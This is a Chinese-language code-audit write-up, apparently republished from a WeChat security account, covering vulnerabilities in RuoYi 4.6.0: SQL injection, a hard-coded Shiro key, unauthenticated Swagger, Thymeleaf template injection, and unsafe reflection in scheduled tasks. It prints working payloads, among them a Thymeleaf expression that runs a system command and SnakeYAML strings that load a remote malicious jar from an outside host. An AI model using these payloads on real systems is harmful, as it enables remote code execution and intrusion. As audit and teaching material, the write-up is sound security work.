JAVA代审-RuoYi4.6.0

admin 2024年12月20日15:12:13评论16 views字数 3423阅读11分24秒阅读模式
JAVA代审-RuoYi4.6.0
JAVA代审-RuoYi4.6.0

点击上方蓝字·关注我们

免责声明
JAVA代审-RuoYi4.6.0

由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。

文章目录
JAVA代审-RuoYi4.6.0
项目介绍环境搭建漏洞挖掘SQL注入        第一处(不存在)        第二处(存在)    Shiro硬编码    Swagger未授权    Thymeleaf模板注入    不安全的反射最后

项目介绍

一直想做一款后台管理系统,看了很多优秀的开源项目但是发现没有合适的。于是利用空闲休息时间开始自己写了一套后台系统。如此有了若依。她可以用于所有的Web应用程序,如网站管理后台,网站会员中心,CMS,CRM,OA。所有前端后台代码封装过后十分精简易上手,出错概率低。同时支持移动客户端访问。系统会陆续更新一些实用功能。

内置功能

  1. 用户管理:用户是系统操作者,该功能主要完成系统用户配置。

  2. 部门管理:配置系统组织机构(公司、部门、小组),树结构展现支持数据权限。

  3. 岗位管理:配置系统用户所属担任职务。

  4. 菜单管理:配置系统菜单,操作权限,按钮权限标识等。

  5. 角色管理:角色菜单权限分配、设置角色按机构进行数据范围权限划分。

  6. 字典管理:对系统中经常使用的一些较为固定的数据进行维护。

  7. 参数管理:对系统动态配置常用参数。

  8. 通知公告:系统通知公告信息发布维护。

  9. 操作日志:系统正常操作日志记录和查询;系统异常信息日志记录和查询。

  10. 登录日志:系统登录日志记录查询包含登录异常。

  11. 在线用户:当前系统中活跃用户状态监控。

  12. 定时任务:在线(添加、修改、删除)任务调度包含执行结果日志。

  13. 代码生成:前后端代码的生成(java、html、xml、sql)支持CRUD下载 。

  14. 系统接口:根据业务代码自动生成相关的api接口文档。

  15. 服务监控:监视当前系统CPU、内存、磁盘、堆栈等相关信息。

  16. 缓存监控:对系统的缓存查询,删除、清空等操作。

  17. 在线构建器:拖动表单元素生成相应的HTML代码。

  18. 连接池监视:监视当前系统数据库连接池状态,可进行分析SQL找出系统性能瓶颈。

环境搭建

项目地址:https://gitee.com/y_project/RuoYi/repository/archive/v4.6.0.zip

下载到本地后解压IDEA打开

JAVA代审-RuoYi4.6.0

修改数据库配置文件,并且创建对应数据库导入两个sql文件

文件路径:RuoYi-v4.6.0sql

JAVA代审-RuoYi4.6.0
导入完成后,启动项目访问配置文件中对应本地端口
JAVA代审-RuoYi4.6.0
默认账号密码:admin/admin123
漏洞挖掘

SQL注入

项目介绍和pom.xml都能知道数据库接口使用的是mybatis

JAVA代审-RuoYi4.6.0

全局搜索关键词${

JAVA代审-RuoYi4.6.0

这里有两种,这里一个是存在注入的一个不存在,这里把两个都分析一下

第一处(不存在)

对应文件:RuoYi-v4.6.0ruoyi-systemsrcmainresourcesmappersystemSysDeptMapper.xml

JAVA代审-RuoYi4.6.0

这里对应的是updateDeptStatus方法,参数是ancestors,我们记一下

跳转到dao层

JAVA代审-RuoYi4.6.0
查看使用到service
JAVA代审-RuoYi4.6.0

接着往上跟

JAVA代审-RuoYi4.6.0
这里有个getAncestors方法,其实就获取ancestors的,我们看下它是咋来的,是从newParentDept中获取的,newParentDept是通过selectDeptById方法获取的
JAVA代审-RuoYi4.6.0
那么这个方法其实就是根据我们传入的ID获取数据库表的对应数据,然后从里面获取Ancestors,查询的是sys_dept表,我们打开数据库看下
JAVA代审-RuoYi4.6.0
也就是值不可控,所以没办法

第二处(存在)

对应文件:
RuoYi-v4.6.0ruoyi-systemsrcmainresourcesmappersystemSysUserMapper.xml
JAVA代审-RuoYi4.6.0

{params.dataScope}这个写法我记得之前有写过一篇系统的注入也是这个写法,这种写法通常用于动态插入一些复杂的 SQL 片段,例如数据权限过滤条件。这种方式可以灵活地根据业务需求动态生成 SQL 语句

我们跳转到dao层往上跟到功能层

JAVA代审-RuoYi4.6.0
JAVA代审-RuoYi4.6.0
JAVA代审-RuoYi4.6.0
根据路由构造访问
/system/role/authUser/allocatedList
JAVA代审-RuoYi4.6.0
除了这一处还有几处也是同样写法,感兴趣的可以自己下去跟
Shiro硬编码

这个可是说是ruoyi的代表漏洞了

通过系统介绍或者pom.xml都可以得知ruoyi使用了shiro,这里的版本是1.7.0

JAVA代审-RuoYi4.6.0

按道理来说是没漏洞的,但是ruoyi采用的是硬编码,把加密的key值写在了配置文件中

全局搜索cipherKey

JAVA代审-RuoYi4.6.0

直接使用工具利用

JAVA代审-RuoYi4.6.0

Swagger未授权

项目中存在Swagger依赖

JAVA代审-RuoYi4.6.0
并且是开启状态
JAVA代审-RuoYi4.6.0
可以看配置文件或者直接扫目录也行,访问:http://127.0.0.1:8080/swagger-ui.html
JAVA代审-RuoYi4.6.0
发现开放了用户操作的接口
JAVA代审-RuoYi4.6.0
可以通过接口获取用户和密码
Thymeleaf模板注入
项目使用到了Thymeleaf模板引擎
JAVA代审-RuoYi4.6.0
版本是3.0.11,是存在漏洞的版本,全局搜索::,也就是片段表达式
JAVA代审-RuoYi4.6.0
随便点一个
JAVA代审-RuoYi4.6.0

这里可控的是fragment,通过post请求直接传

尝试构造访问,传入我们的poc

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__
JAVA代审-RuoYi4.6.0
不安全的反射
全局搜索forname(
JAVA代审-RuoYi4.6.0
优先看下面两个
JAVA代审-RuoYi4.6.0
这从注释中就可以得到功能点应该是和系统相关的
JAVA代审-RuoYi4.6.0
们下个断点,然后执行一次计划任务看下是否会触发方法
JAVA代审-RuoYi4.6.0
JAVA代审-RuoYi4.6.0
JAVA代审-RuoYi4.6.0

可以看到这里是断下来了,流程没问题,if是判断我们传入的类是否是一个有效类,这个正常传就行,那么我们就有开始想如何利用了

由于系统没有任意文件上传,不能尝试上传恶意类然后反射,那么只能从环境中现有的类入手。

由于这里执行的是Object bean = Class.forName(beanName).newInstance()要满足下面几个条件

  1. 1、类必须要有无参构造函数 .

  2. 2、类的构造函数不能是私有的 , 也就是不能通过 “private“ 修饰符来修饰构造函数

  3. 3、调用目标字符串的参数为:支持字符串,布尔类型,长整型,浮点型,整型

  4. 4、在满足上面三个条件后我们还得能够造成危害

就前面两个条件就把我们常规命令执行的路都堵上了,但是好巧不巧ruoyi中引入了snakeyaml
JAVA代审-RuoYi4.6.0
JAVA代审-RuoYi4.6.0
版本是1.25,那么这个版本是存在反序列化漏洞的,而且snakeyaml触发反序列化的写法是
org.yaml.snakeyaml.Yaml.load('序列化数据')
并且load方法是public
JAVA代审-RuoYi4.6.0

可以说是完美符合了

我们尝试传入利用poc

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager[!!java.net.URLClassLoader [[!!java.net.URL ["http://o58dcubl.requestrepo.com://"]]]]')
JAVA代审-RuoYi4.6.0
保存然后执行
JAVA代审-RuoYi4.6.0
也可以使用下面poc远程加载恶意jar包造成RCE
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/yaml-payload.jar"]]]]')

恶意jar包生成(自己写也可以使用下面项目也可以)

项目地址:https://github.com/artsploit/yaml-payload/

项目下载到本地解压idea打开,修改要执行的命令

JAVA代审-RuoYi4.6.0
然后打开md文件,有编译命令
JAVA代审-RuoYi4.6.0

这里执行的时候由于是命令行执行,要注意自己本地的javac版本,如果本地有多个java版本的话可能会出现javac版本是17,java是8的情况,到时候加载类的时候会报错

运行完成后会生成yaml-payload.jar文件,放到web服务上

然后执行我们设置好的计划任务

JAVA代审-RuoYi4.6.0
这个漏洞网上都说是snakeyaml反序列化漏洞,那么实际上这个是不安全反射的问题,snakeyaml反序列化只是利用方式。
最后

目前交流群人数超了只能邀请,需要进群交流的加作者微信备注交流群

性感群主不定期水群在线解答问题!

JAVA代审-RuoYi4.6.0

原文始发于微信公众号(菜狗安全):JAVA代审-RuoYi4.6.0

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月20日15:12:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA代审-RuoYi4.6.0http://cn-sec.com/archives/3532746.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息